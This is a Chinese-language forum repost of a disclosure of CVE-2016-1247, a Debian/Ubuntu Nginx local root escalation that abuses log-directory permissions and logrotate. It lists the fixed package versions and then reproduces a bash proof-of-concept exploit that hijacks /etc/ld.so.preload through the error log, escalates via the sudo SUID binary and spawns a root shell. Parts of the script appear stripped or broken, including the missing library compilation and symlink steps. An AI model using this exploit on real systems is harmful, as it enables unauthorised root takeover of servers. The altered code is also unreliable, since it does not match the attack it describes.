漏洞发现人：Dawid GolunskiCVE编号 ：CVE-2016-1247 发行日期 ：15.11.2016 安全级别 ：高 1.漏洞概要
Debian发行版的Nginx本地提权漏洞，该漏洞已经在1.6.2-5+deb8u3中修复 因为该漏洞细节是在官方修复后公布的，因此请低版本的Debian/ubuntu用户及时更新补丁： 补丁修复情况： Debian: 在Nginx 1.6.2-5+deb8u3中修复 Ubuntu: Ubuntu 16.04 LTS: 在1.10.0-0ubuntu0.16.04.3中修复 Ubuntu 14.04 LTS: 在1.4.6-1ubuntu3.6中修复 Ubuntu 16.10: 在1.10.1-0ubuntu1.1中修复
2.漏洞描述
Debian(Ubuntu)发行版的Nginx在新建日志目录的时，使用了不安全的权限，因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。
3.漏洞细节
基于Debian系统默认安装的Nginx会在下面的路径使用下面的权限新建Nginx日志目录
[C] 纯文本查看 复制代码 root@xenial:~# ls -ld /var/log/nginx/
drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
root@xenial:~# ls -ld /var/log/nginx/*
-rw-r----- 1 www-data adm 0 Nov 12 22:31 /var/log/nginx/access.log
-rw-r--r-- 1 root root 0 Nov 12 22:47 /var/log/nginx/error.log 我们可以看到/var/log/nginx目录的拥有者是www-data，因此本地攻击者可以通过符号链接到任意文件来替换日志文件，从而实现提权。 攻击者通过符号链接替换了了日志文件后，需要等nginx daemon重新打开日志文件，因此需要重启Nginx，或者nginx damon接受USR1进程信号。 这里亮点来了，USR1进程信号会在默认安装的Nginx通过logrotate脚本调用的do_rotate()函数自动触发。 --------[ /etc/logrotate.d/nginx ]-------- [C] 纯文本查看 复制代码 /var/log/nginx/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 0640 www-data adm
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi \
endscript
postrotate
invoke-rc.d nginx rotate >/dev/null 2>&1
endscript
}
[...]
do_rotate() {
start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
return 0
}
[...]我们可以看到logrotation脚本会在corn中每天6:25AM自动调用，因此如果/etc/logrotate.d/nginx已经设置了'daily'日志回滚，攻击者将在不需要任何系统管理员交互的情况下，在24小时内实现提权到ROOT
4.漏洞验证截图
5.POC [Python] 纯文本查看 复制代码 #!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# [url=https://legalhackers.com]https://legalhackers.com[/url]
#
# Follow [url=https://twitter.com/dawid_golunski]https://twitter.com/dawid_golunski[/url] for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# [url=https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html]https://legalhackers.com/advisor ... -CVE-2016-1247.html[/url]
#
# Video PoC:
# [url=https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html]https://legalhackers.com/videos/ ... -CVE-2016-1247.html[/url]
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o > -------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \n[url=https://legalhackers.com]https://legalhackers.com[/url] \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat /dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0
| 
发表于 2016-11-16 14:47:15
发表于 2016-11-16 15:01:53
